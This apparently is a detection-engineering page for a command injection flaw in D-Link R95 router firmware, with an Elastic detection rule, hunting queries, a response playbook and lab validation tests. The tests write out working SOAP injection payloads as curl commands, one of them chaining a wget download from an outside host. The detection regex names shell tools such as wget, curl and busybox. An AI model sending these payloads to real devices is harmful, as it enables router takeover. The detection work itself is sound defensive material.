Detect D-Link R95 Bluetooth Handler Command Injection (CVE-2026-135789) in Elastic Security
Detects exploitation attempts against a command injection vulnerability in D-Link R95 (BE9500) firmware 101B06. The /bin/ssi DHMAPI SOAP handler passes the raw inner XML of Bluetooth-family actions (GetBluetoothAdapterSettings, GetBluetoothBloodPressure, GetBluetoothDeviceList, GetBluetoothScanDeviceList, SetBluetoothAdapterSettings, SetBluetoothUnpairDevice, SetTriggerBluetoothScan, SetBluetoothPairDevice) into a shell command without sanitization (CWE-77/CWE-78). Exploitation requires an authenticated session; the factory default Admin account has an empty password, so this is a low-effort precondition rather than a bypass. CVSS base score is 8.5. The exploit has been publicly disclosed. Detection focuses on HTTP requests to the DHMAPI endpoint carrying shell metacharacters in the request body, and on anomalous child-process spawning by the embedded web server (lighttpd) indicating post-exploitation command execution on the device.
Based on nenghun/IoT D-Link R95 RCE write-up
MITRE ATT&CK
- Tactic
- Initial Access Execution
Elastic Detection Query
// df00tech DF00-4fdd26d79c · https://df00tech.com/detections/CVE-2026-135789 · licence: https://df00tech.com/detections/licence
network where event.category == "network" and stringContains(url.path, "/DHMAPI/") and (
match(http.request.body.content, "[;&|`$]") or match(http.request.body.content, "\\$\\(") or match(http.request.body.content, "(?i)(wget|curl|busybox|/bin/sh|%3B|%7C|%60)")
) EQL rule matching network events to the D-Link R95 DHMAPI endpoint whose request body carries command-injection metacharacters or download utilities.
Data Sources
Required Tables
False Positives & Tuning
- Internal scanning appliances probing IoT endpoints
- Encoded ampersands in benign device configuration calls
- Lab replay of disclosure PoC
Other platforms for CVE-2026-135789
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Simulated command injection in DHMAPI SetTriggerBluetoothScan body
Expected signal: Proxy/WAF/firewall HTTP log entry with uri_path containing /DHMAPI/ and a body containing ';wget' and an encoded space.
- Test 2 Shell metacharacter in DHMAPI SetBluetoothAdapterSettings body
Expected signal: HTTP request log showing /DHMAPI/ with API-ACTION SetBluetoothAdapterSettings and a quote-close/semicolon sequence in the body.
- Test 3 Device-side child process spawn from web server (lab)
Expected signal: Device syslog/EDR process event showing ssi (or lighttpd) spawning /bin/sh.
Response Playbook
Triage
- Confirm the destination host is a D-Link R95 (BE9500) running firmware 101B06; check the admin UI banner or device fingerprint.
- Decode the DHMAPI request body and isolate the injected shell metacharacters or command keywords (wget, curl, busybox, /bin/sh) to determine whether the attempt was a probe or a working command chain.
- Check authentication context: this vulnerability requires a valid session. Verify whether the source used the factory default Admin account with an empty password, or a compromised/weak credential, before scoring it as an easy compromise.
- Check whether the source IP has touched other DHMAPI handlers or scanned multiple devices, which distinguishes targeted exploitation from opportunistic scanning.
Containment
- Block the source IP at the perimeter firewall and restrict management/web access to the R95 to trusted administrative subnets only.
- Change the default Admin password immediately if it is still blank, and isolate the affected R95 device from the LAN/WAN until firmware is patched.
- If command execution is confirmed, power-cycle and factory-reset the device after capturing evidence, since persistent changes may not survive a reset.
Evidence Collection
- Capture full proxy/WAF/firewall HTTP logs for the source IP including complete request bodies for the matched DHMAPI calls.
- Export the device's syslog and any CGI/web-server access logs, and if possible acquire a firmware/flash image for forensic review of injected files under /www or startup entries.
Escalation Criteria
- !Escalate to incident response if the injected payload includes a download-and-execute chain (wget/curl followed by chmod/execution) indicating successful compromise.
- !Escalate if the same source demonstrates lateral movement, additional device compromise, or outbound C2 connections originating from the device.
Investigation Guide
Forensic Artifacts
- >
Web/CGI server access logs on the device showing DHMAPI requests with shell metacharacters in the Bluetooth action body - >
Newly created files or modified entries in the device flash/overlay filesystem, including the web root (/www) - >
Outbound connections from the device to attacker download or C2 infrastructure
Tuning Guidance
Baseline legitimate management sources and the IPs of authorized vulnerability scanners, then exclude them from alerting. If the environment has no D-Link R95 devices, scope the rule by destination IP ranges where IoT/router management lives to cut noise. Tighten the metacharacter regex to require a command keyword (wget|curl|busybox) adjacent to a shell separator if probe-only scanning generates excessive volume.
Hunting Queries
Surfaces sources making repeated requests to the R95 DHMAPI endpoint, highlighting brute/scan-style exploitation attempts even without an obvious metacharacter match.
// df00tech DF00-4fdd26d79c · https://df00tech.com/detections/CVE-2026-135789 · licence: https://df00tech.com/detections/licence
CommonSecurityLog | where RequestURL has "/DHMAPI/" | summarize Requests=count(), Payloads=make_set(AdditionalExtensions, 20) by SourceIP, DestinationIP | where Requests > 5 ``` df00tech DF00-4fdd26d79c · https://df00tech.com/detections/CVE-2026-135789 · licence: https://df00tech.com/detections/licence ```
index=proxy uri_path="*/DHMAPI/*" | stats count values(uri_query) as payloads by src_ip dest_ip | where count > 5 Atomic Red Team Tests
Sends an HTTP request emulating a command-injection attempt against the DHMAPI endpoint to validate proxy/WAF detection coverage. Lab use only against an authorized test target with a valid session cookie.
Command
curl -s -o /dev/null -k -H 'API-ACTION: SetTriggerBluetoothScan' -H 'Cookie: uid=TESTCOOKIE' -H 'Content-Type: text/xml' -d '<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetTriggerBluetoothScan><A>x'\'';wget%20http://198.51.100.5/x%20-O%20/tmp/x;#</A></SetTriggerBluetoothScan></soap:Body></soap:Envelope>' 'https://192.0.2.10/DHMAPI/' Cleanup
rm -f /tmp/x 2>/dev/null; echo 'no persistent state created on tester' Expected Telemetry
Proxy/WAF/firewall HTTP log entry with uri_path containing /DHMAPI/ and a body containing ';wget' and an encoded space.
Expected Detection
KQL/SPL rules match on the DHMAPI endpoint plus the shell metacharacter and wget keyword.
Emulates OS command injection using a quote-close construct against the Bluetooth adapter-settings handler.
Command
curl -s -o /dev/null -k -H 'API-ACTION: SetBluetoothAdapterSettings' -H 'Cookie: uid=TESTCOOKIE' -H 'Content-Type: text/xml' -d "<soap:Envelope xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'><soap:Body><SetBluetoothAdapterSettings><A>x';id;#</A></SetBluetoothAdapterSettings></soap:Body></soap:Envelope>" 'https://192.0.2.10/DHMAPI/' Cleanup
echo 'no cleanup required — request-only test' Expected Telemetry
HTTP request log showing /DHMAPI/ with API-ACTION SetBluetoothAdapterSettings and a quote-close/semicolon sequence in the body.
Expected Detection
Detection matches the shell metacharacter pattern on the DHMAPI endpoint.
On a lab device or emulated firmware, confirms that a command-injection string causes the embedded web server to spawn a shell child process generating detectable telemetry.
Command
sh -c 'logger -t ssi "DHMAPI SetTriggerBluetoothScan injected; /bin/sh -c id"; /bin/sh -c id' Cleanup
echo 'ephemeral process only; no files written' Expected Telemetry
Device syslog/EDR process event showing ssi (or lighttpd) spawning /bin/sh.
Expected Detection
Hunting query and process-based telemetry correlate web-server-parented shell execution to the injection attempt.